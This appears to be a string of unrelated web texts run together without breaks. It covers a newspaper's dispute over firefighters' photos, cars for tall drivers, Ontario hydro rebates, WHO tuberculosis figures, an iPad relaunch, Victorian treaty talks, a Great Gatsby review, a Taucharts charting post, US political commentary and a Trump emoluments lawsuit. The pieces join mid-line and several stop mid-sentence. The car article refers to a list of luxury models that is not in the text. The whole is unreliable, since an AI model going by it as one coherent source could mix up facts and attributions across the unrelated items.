“The release of these photographs, which now appear in several media reports including reports on the internet, is inconsistent with the City’s legal obligation to consider the underlying purpose of the statute, and may subject the City to potential civil liability for the unwarranted disclosure of public records,” attorney Osnat K. Rind wrote at 9:41 p.m. “The Union requests that you cease and desist in this regard.”
The Miami Herald has made the decision to leave the firefighters’ photos online. Attorneys representing the newspaper said there is no obligation to take them down, since they were legally obtained.
“The photos of the firefighters are part of this story. If we had received them from any other source, they also would have been published without hesitation,” Rick Hirsch, Miami Herald managing editor, wrote in an email. “We have no intention of un-publishing them.”Tall people drive cars too, right? But when you’re in the 6-foot and over club, buying a car involves more than just style and personal preference. The best cars for tall people need to be comfortable, have enough headroom and legroom, and offer a good range of seat-height and seat-track adjustments. Be sure there’s enough room in between the pedals, and in the footwell to rest your left foot. And you might want to skip the sunroof – it’s nice but eats up a few inches of coveted headroom.
Since all cars are not created equal when it comes to accommodating height, we’ve researched the best cars for tall drivers. Our list draws from car reviews and top auto experts (including some tall editors, no doubt).
Pontiac Vibe – This compact hatchback is the best car on our list for front-seat headroom at a comfortable 40.5 inches, with front legroom in the mid-pack at 41.6 inches. The Pontiac Vibe is an affordable alternative to MAZDA3s and Chevy HHRs, with “more interior room, cargo volume and a lower price,” according to Kelly Blue Book. In the rear, you’ll get a good 39.4 inches of headroom and a decent amount of legroom. If you can still find it on dealer lots, there’s likely a good deal to be made.
Honda Fit – One of Car and Driver’s picks for its 2010 10 Best Cars, its editors say, “It takes truly Sasquatchian dimensions to be discomforted inside.” Despite being a subcompact, the 5-passenger 2010 Honda Fit offers spaciousness, quality design and interior versatility that surpasses some of the more expensive cars. The 40.4 inches of front headroom ranks second on our list and rear headroom (39.0 inches) is third. Both front and back legroom measure slightly below the average, at 41.3 inches and 34.5 inches, respectively.
Best Cars for Tall Drivers – Headroom and Legroom
Hyundai Sonata – While the 2010 Hyundai Sonata ranks third for front headroom at 40.1 inches, and second best for front legroom (43.7 inches) and back legroom (37.4 inches), the affordable sedan is all new for 2011. Front and rear headroom in the 2011 model are comparable to the 2010 model at 40.0 inches and 37.8 inches, respectively. But the 2011 wins when it comes to front legroom, topping our list at 45.5 inches, with a fair 34.6 inches in the rear. Autoblog’s 6’2 reviewer says he “slid into the driver’s seat with plenty of room” and even needed to move the seat forward for comfort. As for the backseat, he says there’s plenty of space and legroom behind the driver.
Subaru Forester 2.5XT – Drivers with longs legs and tall families will want to consider the redesigned 2009 Subaru Forester 2.5XT. It ranks third on our list for front legroom (43.1 inches) and ties the Scion xB for most rear legroom (38.0 inches), providing great foot space and legroom even if the front seats are pushed back. This compact crossover utility vehicle is on Consumer Reports’ list of 10 best cars for tall drivers. Longer and wider than previous models, it has excellent front headroom at 40.0 inches and modest rear headroom.
Scion xB – The 2010 Scion xB is a tall passenger’s dream. It ties the 2009 Subaru Forester 2.5XT for most rear legroom at 38.0 inches and the rear headroom tops our list at 41.2 inches. Front headroom is a roomy 40.0 inches and there’s adequate front legroom at 40.7 inches. Yet the real winner may be the 2006 Scion xB with an impressive 46.1 inches of front headroom and 45.3 inches of front legroom, not to mention 38 inches of rear legroom. Autobytel awarded the 2006 subcompact wagon its best pick for commuter vehicles with the most legroom.
Honda Accord EX-L – Redesigned for 2008, the midsize Honda Accord EX-L is roomier than before and larger than its competitors the Nissan Altima and Toyota Camry. Front headroom and legroom are 39.0 and 42.5 inches, respectively, and the rear dimensions are 37.2 inches for both. Consumer Reports lists the Accord EX-L in its 10 best cars for tall drivers. New Car Test Drive praises the Accord’s tall-friendly features: a tilt-and-telescoping steering column, multiple driver’s seat power adjustments, good driver’s seat support, lots of room around the front seat, and rear seats with enough “space for a six-footer to sit comfortably behind another one.” Seats in the 2008 model offer superior support than older model years, according to Consumer Guide who says, “Larger door openings and a higher roof make entering and exiting easy.”
Volkswagen New Beetle – In the compact class (or subcompact by EPA designation), the 2010 Volkswagen New Beetle offers distinctly retro looks with the latest features. Best of all, it offers tall drivers front headroom of 38.2 inches and front legroom of 39.4 inches. However, the backseat may feel tighter, with headroom and legroom of 36.7 and 33.5 inches, respectively.
Volvo S80 – In the midsize luxury sedan category, the Volvo S80 rates as one of Consumer Reports’ 10 best cars for tall drivers. New Car Test Drive calls it big, luxurious, fast, comfortable and spacious. Although it’s at the bottom of our list for front headroom (37.8 inches), the S80 has generous legroom with 41.9 inches in front and 35.0 inches in back. Edmunds says the seat comfort is sublime, with driver memory and 8-way power front seats that are “supportive enough to impress a chiropractor and comfortable for miles on end.”
Need Comfortable Front Seats With Better Thigh Support?
While ample headroom and legroom are essential, what about more comfortable front seats for tall drivers and people who need extra thigh support? Unfortunately, automakers don’t publish their seat-cushion lengths so consumers can’t easily research the best options before they head out to buy a vehicle. So what can you do? Try looking for new models that come with multi-adjustable front seats and opt for packages that include front seat-cushion extenders for the driver and passenger.
2011 Car Options for Tall People Who Want More Leg Support
Note that all of the above are luxury makes and models, except for the Toyota Avalon – since you tend get what you pay for, consumers who want it all usually end up getting it all. For anyone who wants more affordable wheels with front-seat cushion extenders, there’s no easy way to create that list. Your best bet is to contact an automaker’s customer assistance or sales department and ask which models may have them.
Search used cars for sale and find the best deals near you at iSeeCars.com.
To get a FREE iSeeCars VIN Report for a car, click here.A day after she hit the reset button on her government, Ontario Premier Kathleen Wynne discussed hydro rebates and other issues on CBC's Metro Morning Tuesday.
On Monday, Lt.-Gov. Elizabeth Dowdeswell delivered a throne speech that outlined the government's priorities before the next election, which is expected in spring 2018.
Among the highlights was a hydro rebate for urban and rural residents and small businesses.
Under the plan, the government will remove the provincial portion of the harmonized sales tax from hydro bills.
When asked how long the rebate will last, Wynne told Metro Morning Tuesday that the change is a permanent one.
"As far as we're concerned, this is a change that we are making permanently," Wynne said. "We haven't said this is something that we will do for a few months. This is something that we are putting in place and we believe it's the right thing to do."
The Liberals will introduce legislation that would call for the rebates to be applied directly to consumers' electricity bills. The rebate would go into effect on Jan. 1, 2017.
Wynne said Tuesday that the hydro rebate plan will cost about $1 billion. Asked where that money will come from, she would only say that, when public accounts come out in a few weeks, they will show that the government can afford the plan while sticking to its pledge to balance the budget next year.
Wynne said she understands that changes to the province's electricity system – namely shuttering coal-fired plants – have led to increased costs for rate-payers.
"I know people have been struggling to pay their electricity bills in many parts of the province, and so that's why we are making this change," she said. "But we couldn't do that until we were able to do it in a responsible way."
'Too little, too late'
The throne speech also outlined government promises to create 100,000 new child-care spaces, focus on math instruction after half of Grade 6 students failed to meet the provincial math standard this year, and reduce wait times in the health-care system.
The opposition criticized the government over the hydro rebate plan. Progressive Conservative Leader Patrick Brown said after the speech that the plan is "too little, too late," calling it a "Band-Aid solution" for keeping rising hydro rates in check.
PC finance critic Vic Fedeli repeated that Tuesday, adding that the government should halt any further sale of Hydro One, as well as stop bringing surplus energy into the province's system.
"We are in a hole that they are going to keep digging," Fedeli told Metro Morning.
On the issue of selling Hydro One, Wynne said the move allows the government to take money from one asset and invest it in another, namely transit and transportation infrastructure and other priorities.
"All of that is about helping people get jobs, or for their communities to thrive, or for their kids to have a decent school to go to," Wynne said.
NDP Leader Andrea Horwath said the government should permanently remove HST from hydro bills, and that the rebate should start immediately.
Horwath told Metro Morning that her party never supported putting provincial sales tax on hydro bills, but called the government's move yesterday "a very small step."
"Both Liberals and Conservatives have gone in the direction of increasing privatization in our electricity system for decades now, and that is one of the underlying problems we have in an electricity system that was once public and run in the public interest and now is vastly private and run in the private interest," Horwath said Tuesday. "And that's where some of our major underlying costs are."
On the issue of adding more child-care spaces, Horwath said the high cost of child care and the quality of care must be addressed as well, noting that child-care costs are "crippling families."
'My job's not done'
Asked whether she will run in the next election, Wynne said she is "absolutely sticking around" for the 2018 vote.
"My job's not done," she said.
Wynne said she's listening to voters' needs on issues such as child care, retirement security and transit, and hopes they see that she is slowly implementing a plan to address these and other issues.
"All along we've been listening to people," she said. "We've put a plan in place and we've been making choices that are allowing us to implement that plan."The battle against what used to be known as the White Death – tuberculosis – is apparently being won, with a steady year on year decline in the numbers infected with the disease and dying from it, according to the World Health Organisation.
The WHO's annual report says that 2010 saw the lowest number of cases and of deaths for a decade. There were 8.8 million cases of disease, down from 9 million in the peak year of 2005. Deaths dropped from 1.8 million in 2003 to 1.4 million.
Yet the UN warned that declining funding, as donor governments retrench in response to the tough economic climate, could put this progress at risk and cause problems in dealing with the worrying rise in cases of multi drug-resistant TB (MDRTB).
"Fewer people are dying of tuberculosis, and fewer are falling ill. This is major progress," said the UN secretary-general, Ban-ki Moon. "But it is no cause for complacency. Too many millions still develop TB each year, and too many die. I urge serious and sustained support for TB prevention and care, especially for the world's poorest and most vulnerable people".
Only 16% (46,000) of those with multi drug-resistant forms of the disease are being treated at the moment, which is alarming because without treatment, not only will the patient die but the disease is likely to be spread. Even ordinary TB requires a course of drugs lasting six months. MDRTB is even harder to treat because it requires years of antibiotics which are not commonly available and expensive. Of the $1bn said to be needed in 2012 to fund the fight against TB globally, $200,000 is for MDRTB.
A new rapid test is being rolled out, which is expected to revolutionise the diagnosis of MDRTB. "But the promise of testing more people must be matched with the commitment to treat all detected. It would be a scandal to leave diagnosed patients without treatment," said Dr Mario Raviglione, director of WHO's Stop TB department.
The best progress has been made in big countries with large numbers of people affected by TB, which is a significant killer in people with HIV. Among them are Kenya and Tanzania. Brazil has also reported a steady decline in cases and China has made dramatic progress. Overall, the death rate dropped by 40% between 1990 and 2010. If this continues, all regions except Africa are on track to cut mortality by 15% by 2015.
In 2009, 87% of patients treated were cured, with 46 million people successfully treated and 7 million lives saved since 1995. However, a third of estimated TB cases worldwide are not notified and therefore it is unknown whether they have been diagnosed and properly treated.In re-launching the fourth-generation iPad with Retina display starting at $399 on Tuesday, Apple delivered a dramatic upgrade at that price point over the legacy iPad 2, with the company highlighting the improved cameras and enhanced performance it now offers at that price point.
Announcing the switch from iPad 2 to fourth-generation iPad with Retina display, the company put out a press release touting its most affordable 9.7-inch iPad. Priced at $399 for a 16-gigabyte, Wi-Fi-only model, the fourth-generation iPad features an A6X processor, 5-megapixel iSight camera, and FaceTime HD rear facing camera."Now for $399 customers can get iPad with a stunning 9.7-inch Retina display, fast A6X chip, and 5MP iSight camera, offering a dramatic upgrade in power, performance and value compared to the iPad 2 it replaces," said Philip Schiller, Apple's senior vice president of Worldwide Marketing. "The iPad line sets the gold-standard in mobile computing and all iPads have access to the largest and best ecosystem of more than 500,000 iPad optimized apps from the App Store."Apple also noted that the fourth-generation iPad offers up to 10 hours of battery life, and comes with iOS 7. An LTE-capable version of the $399 iPad starts at $529.The iPad with Retina display remains limited to just 16 gigabytes, with higher capacities unavailable for the fourth-generation model. Those looking to upgrade to 32- or 64-gigabytes will have to look to Apple's iPad Air, the company's latest-generation tablet.AppleInsider was the first to report in February that Apple was planning to discontinue the legacy, non-Retina iPad 2. The company made the decision to ramp down iPad 2 production plans in response to the fact that customers were resoundingly shifting purchases toward the iPad Air.Apple still occupies the $399 price point with two tablets: In addition to the fourth-generation iPad, the iPad mini with Retina display is also sold for just shy of $400.The "iPad 4" was temporarily discontinued last fall, when it was replaced at the top of Apple's product lineup by the new thinner and lighter iPad Air. It first went on sale in late 2012 and was the first iPad to feature Apple's redesigned Lightning connector.Tuesday's product lineup revamp means that the first-generation iPad mini is the only non-Retina display device in Apple's tablet lineup. All iPads sold by the company also now feature the Lightning connector, pushing out the legacy 30-pin dock connector.A more detailed view of history and centres across Victoria to teach the Aboriginal language are among suggestions raised
A Victorian treaty with Aboriginal people could result in the school curriculum being changed to include a more comprehensive view of Aboriginal history and centres to teach Aboriginal language established throughout the state, if suggestions raised in the first round of consultations are adopted.
The first 10 meetings, conducted in Melbourne and regional towns throughout the state, also advocated for traditional owners to be given hunting rights and access to waterways and sacred sites.
It’s a culturally-focused log of claims that the Aboriginal affairs minister, Natalie Hutchins, said showed that most who had taken part in early consultation meetings were hopeful the treaty process could be made to work in Victoria, but she warned it could take several years for the agreement to be nailed down.
The Andrews government committed to establishing treaty talks in 2015, after a meeting of 500 Aboriginal and Torres Strait Islander people in Melbourne unanimously voted against the national constitutional recognition process.
Indigenous leaders praise Victoria's commitment to talk about treaty Read more
An interim working group was established in April, and in October the group held the first of a series of community meetings focused on working out the process the treaty negotiations would follow, as well as outlining some key demands.
Six more community meetings, in Echuca, Mildura, Portland, Sale, Wodonga and Melbourne, are scheduled for March, before a two-day summit in Melbourne in April.
A report released by the interim working group on Thursday set out a plan to establish a statewide Aboriginal representative body that would act on behalf of Victoria’s Aboriginal peoples in negotiating a treaty with the state government, in much the same way that a union negotiates with an employer on behalf of the employees.
Hutchins said the government aimed to introduce legislation securing the structure, role, and funding of the representative body before the 2018 election.
“We are being pretty upfront about saying that we want to lock the process in – both through the cabinet and parliamentary processes – so that we are not trying to rush something through by the next election,” she told Guardian Australia.
“We want to make sure that no matter who the next government is, there is some legislation locked in to support the process.”
Hutchins said it was important the representative body had a clear mandate to act on behalf of all Aboriginal Victorians to avoid a situation such as the one seen in Western Australia, where a $1.3bn Indigenous land use agreement between the state government and the Noongar people was ruled invalid by the federal court because some registered native title holders refused to sign the deal.
That case has prompted a review of the Native Title Act.
Taungwurrung man Mick Harding, a member of the working group, said the representative body had to be developed with full community support in order to establish that mandate.
Noongar native title deal ruled invalid by federal court Read more
Harding said it could then take years to negotiate a treaty that made reparations for the wrongs done to Aboriginal people in Victoria in the past and would be applicable into the future.
“How does it create equity and equality for our people in this society today, taking into account around 2,000 plus generations of our people, 150 years of things that happened, and present something that’s going to help us be functional human beings in this society, and have our ethics and the cultural things that are important to us?” he said.
Dr Carwyn Jones, a law lecturer from the University of Wellington who has worked on treaty settlements in New Zealand, said treaty negotiations could “reset their relationship” between a country and its Indigenous peoples.
“An important first step is to recognise and acknowledge what’s happened in the past and there does need to be some reparation for that in order for people to renew that relationship in a positive way,” he told Guardian Australia.
“To have a good productive treaty relationship it needs to have addressed the things that have gone wrong in the relationship in the first place and taken some steps to address that.”By: B-Side (Three Beers) –
[ratings]
The best thing in the world for a Baz Lurhmann movie to be is a beautiful little fool. The Aussie director’s particular brand of whizz-bang cinematic mayhem has livened up adaptations of the literary cannon before, and a camera whirring among the champagne and the CGI stars is actually not an illogical way to cover F. Scott Fizgerald’s biting depiction of the gaudy and unfulfilling artifice of the Jazz Age. Unfortunately, the star of this sparkiest Sparknotes adaptation is not Jay Gatsby, nor Baz’s stylistic excess, nor even the Jay-Z curated, anachronistic score. It is the words themselves. The film hangs on Fitzgerald’s prose so hard well-known quotes physically appear on the screen, and they have same impact as on a 10th grade English quiz: vaguely important and completely meaningless.
Unlike Lurhman’s more successful foray into highbrow fare with Romeo + Juliet, the emotion here is smothered by the glossy visual style and plodding narrative reverence. Leonardo DiCaprio, as the enigmatic Mr. Gatsby, barely escapes with his dignity intact, and Carey Mulligan, entirely too intelligent and sympathetic to make a convincing ditz as Daisy Buchanan, does little better. The romance between the two stops the film cold after the first hour, and whether you know how their affair ends or not, believe me, you will want it to. Tobey Maguire manages the proceedings as consummate observer Nick Carraway, and the script’s choice to frame the film through Nick’s reminiscences at a sanitarium ultimately drowns our own opportunities to observe or the film’s to illustrate things visually. Haven’t y’all ever heard of show, don’t tell?
A Toast
The first hour does have a little more pep in its step. Lurhman has that special gift for making an apartment party into an orgastic bacchanal, and the contemporary score carries the excitement and attitude of the young slickers and dames aspiring stockbroker Carraway finds himself involved with in the summer of 1922. If anything, Lurhman could have created a cutting tempo more like a Beyonce video to go along with it, instead choosing to employ an aerial camera continually skimming over the Long Island sound. It reinforces that green light, to be sure, but it’s odd to watch such expansive, sweeping movements when they don’t have, like, the topography of New Zealand to cover.
That said, the CG rendering of Manhattan, West and East Egg, and all the physical mis-en-scene is impeccable: so tactile, exaggerated, and rich that Douglas Sirk could hardly complain. Joel Edgerton and Elizabeth Debicki are especially magnetizing as Tom Buchanan, Daisy’s blue-blooded beast of a husband, and Jordan Baker, the hawkish, socialite golfer Daisy means to pair with Nick. And much of the film’s early humor lands right on. To explain would be to spoil the moment, but the movie features one of the more inspired uses of Gershwin since Fantasia.
Beer Two
But by T.J. Eckleberg’s rusty rims, the film stops dead in its tracks the moment Daisy and Gatsby come face to face. Lurhman has said publicly he was drawn to the property as an epic love story, and here epic seems to mean slowed shot speed and long stretches of anguished stares interrupted by a increasingly obvious voiceover doling on backstory and motivation a better movie would provide wordlessly. Nick’s disembodied intrusions kill what tension there is, and despite the decent chemistry between Mulligan and DiCaprio, their plight comes across as mechanical and dull. So, at least I guess I finally understand what it was like for most people to read The Great Gatsby in high school.
Beer Three
When you throw away structure and nuance in favor of style, that style has to be pretty damned fabulous to work. The 3D in Great Gatsby is fine, but it will not advance the form. Oh, the parties at Gatsby’s house are appropriately, lavishly Busby Berkeley-esque. But Lurhman eschews a more sophisticated play with depth in favor of using the screen to write Fitzgerald’s words and fill in Gatsby and Daisy’s history with celestial projections and sepia-toned flashbacks. He throws pretty much everything he can think of – split screens, degraded footage, dolly zooms – at the screen, without sufficient regard for the emotion these devices need to be carrying. It is the cinematic equivalent of having a library full of unread books. If film form isn’t a matter of infinite hope for you, friend, save your IMAX money and buy the soundtrack.
What we’re left with is an adaptation so showy and at the same time reverential that it’s suffocating. You can tell the film wants to go a little bit The Bad and the Beautiful in its treatment of Gatsby, mythologizing a tragic figure Fitzgerald himself chooses to lay painfully bare. Nick’s voiceovers are filled with longing. Instead of the sad, thoughtful man who comes to understand, through Gatsby, the true nature of the American dream, what we get from him is Tobey’s mopeyface. Maguire does fine with the material he’s given. But overall, The Great Gatsby itself tries to grasp at the green light instead of illustrating how and why it is we fail to do so.
Verdict
It’s livelier than the Redford adaptation, produced and acted to the nines, but Baz Lurhman’s The Great Gatsby stumbles over its chances of being a good movie trying to get the novel hella right. It doesn’t do that, either.
Drinking Game
Take a Drink: every time Tobey Maguire is so drunk it alters the visuals in some way.
Take a Drink: whenever Gatsby calls someone “Old Sport”
Take a Drink: for every sweeping aerial shot across the Long Island sound.
Take a Drink: whenever the T.J. Eckleberg sign appears.
Take a Drink: whenever actual Fitzgerald text appears onscreen.
Finish Your Drink: once you are so over Nick’s voiceovers.Napoleon’s Russian campaign via Taucharts
Minard’s “Figurative map of the successive losses of men in the French army during the Russian campaign, 1812-1813” is one of the most famous statistical graphics in the world.
The graphic displays a cartographic representation of numerical data related to Napoleon Bonaparte’s disastrous invasion of Russia. It is notable for its ingenious display of different types of data across two dimensions. French scientist Étienne-Jules Marey was one of the first to praise it, noting that it “defies the pen of the historian in its brutal eloquence.”
It is a decent challenge for a graphical library to build such a chart. The graphic displays six types of data: the number of Napoleon’s troops, distance, temperature, the latitude and longitude, direction of travel, and location relative to specific dates.
Let’s test the power and expressiveness of Taucharts, which is backed up by the ideas of Grammar of Graphics / Leland Wilkinson, 1999 /.
Taucharts API defines a chart as a declarative mapping of data fields to a set of visual elements and their properties. Here is a principal chart specification with comments:
{ type: 'line', // build lines in Cartesian coordinates x: 'longitude', // where X is longitude y: 'latitude', // Y is latitude split: 'group', // and lines are split by military group color: 'direction', // and colorized by their direction (advance / retreat) size:'survivors', // and line width is an amount of survivors data: [ // where source data is.. {longitude: 24.0, latitude: 54.9, survivors: 340000, direction: 'Advance', group: '1'},... {longitude: 24.1, latitude: 54.4, survivors: 6000, direction: 'Retreat', group: '3'} ] }
Parallel to the main chart, we’ll use another line chart with similar X axis settings to express temperature in the graphic.
Click the image below to go live in jsfiddle.
Of course the result is far from ideal and uses some workarounds to display names of places over the grid. The upcoming 1.0.0 release will offer the full power of the “text” visual encoding parameter.
Stay tuned for more updates on our progress. Support the project on Product Hunt, post your ideas and any issues to the taucharts uservoice or github repository. We’re always happy to hear your feedback!Matt Barber of Liberty Counsel said last week that the Religious Right should prepare for mass civil disobedience to fight “so-called same-sex marriage and the LGBT sexual orientation agenda,” which he claims somehow violates the rights of Christians.
During an interview on REEL Talk, Barber said that “we are going to reach a point in the U.S. where we revisit some of the civil disobedience that we saw in the 60s during those civil rights struggles.”
Barber repeatedly claimed that the modern Religious Right is the heir to the work of Martin Luther King Jr. Of course, white conservatives of King’s day opposed desegregation (Barber’s idol Jerry Falwell was one of segregation’s biggest supporters). Not to mention that King was a vocal supporter of the labor and family planning movements, and sharply disagreed with conservatives on school-organized prayer.
The Liberty Counsel attorney went on to compare the state of conservative Christians in the U.S. to Jews in Nazi Germany due to the debate over “counterfeit gay marriage.”
“They are going after Christians, they are going after churches,” Barber said. “It’s escalating but we’re not to the point, obviously, that we’re seeing with our Christian brothers and sisters around the world in Iraq, Syria and Sudan and elsewhere where they are literally being tortured and beheaded. It’s a soft persecution in the United States but that is the gateway drug, unfortunately, to violent persecution.”
Speaking of the actual oppression of Christians by groups like ISIS, Barber alleged that the “Muslim sympathizer” President Obama is actually aligned with the violent group: “He finds himself aligning even with barbarians like those of ISIS and others around the world and turning a blind eye to their horrific genocide.”With New Hampshire considering legislation that would make it the sixth state to legalize same-sex marriage, could religious individuals and institutions that oppose gay marriage be required to recognize or even solemnize these unions? Although churches and other religious organizations, including charities and schools, have typically been exempt from state and local laws prohibiting discrimination based on sexual orientation, it remains unclear how these religious institutions might be affected by new laws that require equal treatment for same-sex marriages. Indeed, such concerns prompted New Hampshire Gov. John Lynch (D) to say he would sign legislation legalizing gay marriage in that state only if lawmakers add provisions giving religious organizations the right not to recognize such marriages. Another possible flash point involves private individuals and businesses that, for religious reasons, do not want to provide wedding-related or other services to same-sex couples.
The Pew Research Center’s Forum on Religion & Public Life turns to professors Robert W. Tuttle and Ira “Chip” Lupu of The George Washington University Law School to discuss how some states are trying to reconcile these and other potential conflicts between the legalization of gay marriage and the free exercise of religion.
Featuring:Ira “Chip” Lupu, F. Elwood and Eleanor Davis Professor of Law, The George Washington University Law School
Robert W. Tuttle, David R. and Sherry Kirschner Berz Research Professor of Law and Religion, The George Washington University Law School
Interviewer:David Masci, Senior Research Fellow, Pew Research Center’s Forum on Religion & Public Life
Question & Answer
Some opponents of gay marriage have argued that legalizing the practice could pose a threat to religious liberties. What are their principal concerns?
Opponents of same-sex marriage have argued that state recognition of these marriages could intrude on the freedom of clergy and religious communities to decide what kind of marriages to solemnize. Opponents also have expressed concern that pastors who preach |
1, 2009, edition of ABC's Good Morning America:
GINGRICH: I don't want the government to be the primary operator of the health system. I don't want the government to try to run things. I don't think the government runs things very well. It rapidly becomes politicized.[ABC, Good Morning America, 7/1/09, via Nexis]
Gingrich On Today: Suggests Democratic Proposals "Put Power In The Bureaucracy," Not "With Citizens And Doctors." From the March 5, 2009, edition of NBC's Today:
GINGRICH: Look, the president talked a lot about bipartisanship and then backed off and allowed Speaker Pelosi and Chairman Obey to write a totally partisan stimulus bill with zero Republican input. If the president actually insists on a bipartisan process and if he's genuinely open to new ideas and new approaches, I think he could get an extraordinary achievement which would help average Americans have health coverage in a way that did not put power in the bureaucracy but actually put power back with citizens and doctors. I think the key is, are they really willing to listen, or is that just a charade behind which they already have a plan they're going to pass that will be unacceptable to most Americans? [NBC, Today, 3/5/09, via Nexis]
Gingrich On Hannity: Reform "Permanently Puts Power In Washington, Takes Control Over Your Life And Gives It To A Bureaucrat Who Can Ration What Kind Of Care You Get." From a July 16, 2009, appearance on Fox News' Hannity:
HANNITY: All right. For people at home, because now people are beginning to get support for this, there's a Zogby Poll showing that support for this is slipping and slipping dramatically. To make it as simple as I can, how dangerous is the proposal by Obama for government-run health care? How dangerous do you view this for the country? GINGRICH: Well, I think that this could be one of the things which both permanently puts power in Washington, takes control over your life and gives it to a bureaucrat who can ration what kind of care you get, and so weakens the economy with massive taxes that we don't get any kind of real economic growth for the rest of this decade into say 2020. So I would hope that everyone watching us tonight would e-mail every friend they have on their personal e-mail list and urge them to call their member of Congress. It's very encouraging. The Congressman Ross, Democrat of Arkansas, is leading an effort to stop the bill. There are a number of Democrats now in rebellion against this big spending liberal bill, and if enough people call them, we may well be able to beat it in the House. [Fox News, Hannity, 7/16/09, via Nexis]
Gingrich Attacks Energy Policies That Hurt His Corporate Donors
Gingrich Attacks Cap And Trade As "A Giant Energy Tax." On the April 12, 2010 edition of Fox News' On the Record, Gingrich said that Democrats are "going to come back, I think, and try to pass cap-and- trade, even though it's a gigantic energy tax and weakens America in energy production." [Fox News, On the Record with Greta Van Susteren, 4/12/10, via Nexis]
Gingrich: Democrats' Energy Policy Will "Cripple Our Industry." From the April 6, 2010 edition of Fox News' Hannity:
GINGRICH: The fact that [the Obama administration is] talking about 10 trillion dollars of additional deficit over the next decade. Must have of it will be owned by the Chinese and the Saudi Arabians. So you have to ask yourself to what extent at an economic level are we going to face a national security crisis. The fact they are determined to cripple our industry at a time when virtually every American realizes that having national security and energy, keeping the money here at home, creating less expensive energy here is vital to our economic future. And then you combined with unilateral disarmament mindset. I think -- I think that the term dangerous is a very legitimate term to raise about the policies and the lack of understanding of reality in this administration. [Fox News, Hannity, 4/6/10, via Nexis]
Gingrich: Democrats "Want The Environmental Protection Agency To Run The Economy In Terms Of Energy." From a February 22, 2010, appearance on The O'Reilly Factor:FILE - In this Friday, Jan. 20, 2017, file photo, President Donald Trump leaves the President's Room of the Senate at the Capitol after he formally signed his cabinet nominations into law, in Washington. A legal watchdog group plans to file a lawsuit Monday, Jan. 23, 2017, alleging that Trump is violating the Constitution by allowing his businesses to accept payments from foreign governments. (AP Photo/J. Scott Applewhite, Pool, File)
NEW YORK (AP) — To fight what it called a “grave threat” to the country, a watchdog group on Monday filed a lawsuit alleging that President Donald Trump is violating the Constitution by allowing his business to accept payments from foreign governments.
The lawsuit claims that a constitutional clause prohibits Trump from receiving money from diplomats for stays at his hotels or foreign governments for leases of office space in his buildings.
The language in the clause is disputed by legal experts, and some think the lawsuit will fail. But it signals the start of a legal assault on what Trump critics see as unprecedented conflicts between his business and the presidency.
Trump called the lawsuit “without merit, totally without merit” after he signed some of his first executive actions Monday in the Oval Office.
The watchdog group Citizens for Responsibility and Ethics in Washington filed the lawsuit in the Southern District of New York.
The group is being represented in part by two former White House chief ethics lawyers: Norman Eisen, who advised Barack Obama, and Richard Painter, who worked under George W. Bush. The two have expressed frustration that Trump has refused to take their recommendation and divest from his business, and feel they had no choice but to take legal action.
“As the Framers were aware, private financial interests can subtly sway even the most virtuous leaders,” the lawsuit argues, “and entanglements between American officials and foreign powers could pose a creeping, insidious threat to the Republic.”
At a news conference earlier this month, Trump Organization lawyer Sheri Dillon the so-called emoluments clause of the Constitution isn’t meant to ban fair-value exchanges. They didn’t think “paying your hotel bill was an emolument,” she said.
Trump drew fresh attacks from critics almost the moment he took the oath of office on Friday.
The group behind Monday’s lawsuit also filed a complaint Friday addressed to the General Services Administration, an agency that oversees the lease of the government-owned building that houses Trump’s new Washington hotel. The complaint argued the agency must cancel the lease because it expressly forbids any elected official from benefiting from it.
GSA officials had said they needed to wait until Trump took office before weighing in on the issue. They have yet to issue an opinion, though, and have not responded to repeated requests for comment. Democrats in the House and Senate on Monday sent letters to Acting Administrator Timothy Horne seeking information about what the agency plans to do.
In the new lawsuit, the group faces several legal hurdles, including making the case that it even has standing to bring the suit.
“There are a lot of issues that have to be litigated for the first time,” said Noah Bookbinder, executive director of CREW. He added, though, that “we have never had a president who has in a significant way accepted foreign payments.”
Bookbinder said his group will argue it has standing because the president has forced his organization to divert all it is resources to this fight rather than other issues, and therefore is harming it.
That line drew criticism from some legal experts.
Its argument for standing “barely passes the laugh test,” said Robert Kelner, chairman of the election and political law group of the firm Covington & Burling and an experienced Republican attorney.
Edwin Williamson, a former State Department legal adviser, said that the group will struggle to prove its case. He agreed with Dillon’s assessment that the emoluments clause does not apply the payment of a “market price” for a stay at a hotel.
Trump said at his news conference earlier this month that he would not sell his ownership in his company, but would hand over management control to his two adult sons. He pledged that his company would strike no more deals abroad and would donate any profits from foreign governments using his hotels to the U.S. Treasury.
Trump’s companies began publicly filing paperwork on Monday to show that they’re now being run by others. For example, Trump International Hotels Management LLC, registered in Florida, updated its paperwork with the secretary of state to list Eric Trump as president.
Although Dillon says Trump has taken “extraordinary” measures, many government ethics lawyers have panned them as insufficient. They note that no modern president has taken office with as much wealth and as sprawling and opaque a business.
His company, the Trump Organization, has stakes in golf resorts, office buildings, residential towers and hotel licensing deals in about 20 countries. Those include ones with which the U.S. has sensitive relations, such as the Philippines, Indonesia, South Korea and Turkey.
With so many business ties, particularly abroad, government ethics experts worry U.S. interests could take a back seat to his personal financial concerns. And even if they don’t, they argue, people will try to curry favor with the new president by buying apartments in his towers or memberships in his golf resorts, raising doubts — fair or not — that U.S. policy is for sale.
The lawsuit on Monday says that Trump’s company is receiving payments from foreign government-owned tenants at Trump Tower in New York, including The Abu Dhabi Tourism & Culture Authority and the Industrial and Commercial Bank of China.
It also argues Trump’s “The Apprentice” could get him in trouble. It says government-owned stations in in the United Kingdom and Vietnam are paying for broadcast rights of versions of the reality TV hit.
Eisen and Painter have urged Trump to sell his holdings and put the cash in a blind trust, following the example of recent presidents.
Trump is bucking another presidential tradition by refusing to disclose his tax returns. He has said he would be happy to release them, but only after the completion of an Internal Revenue Service audit.
A public petition to the White House on Friday demanding he go public with his tax returns gathered more than 250,000 signatures — well over the 100,000 needed to trigger an official response.
“The White House response is that he’s not going to release his tax returns,” senior White House adviser Kellyanne Conway said on ABC’s This Week. “We litigated this all through the election. People didn’t care.”
_______
Bykowicz reported from Washington. Associated Press writers Mae Anderson in New York and Jill Colvin in Washington contributed.Cathryn Carroll of the District yells at Republican House members outside the Capitol as they called on Senate Majority Leader Harry Reid (D-Nev.) to summon the Senate back to vote on their budget bill. The United States is bracing for a partial government shutdown after the White House and congressional Democrats declared that they would reject a bill approved by the Republican-led House to delay implementing President Obama's signature health-care law.
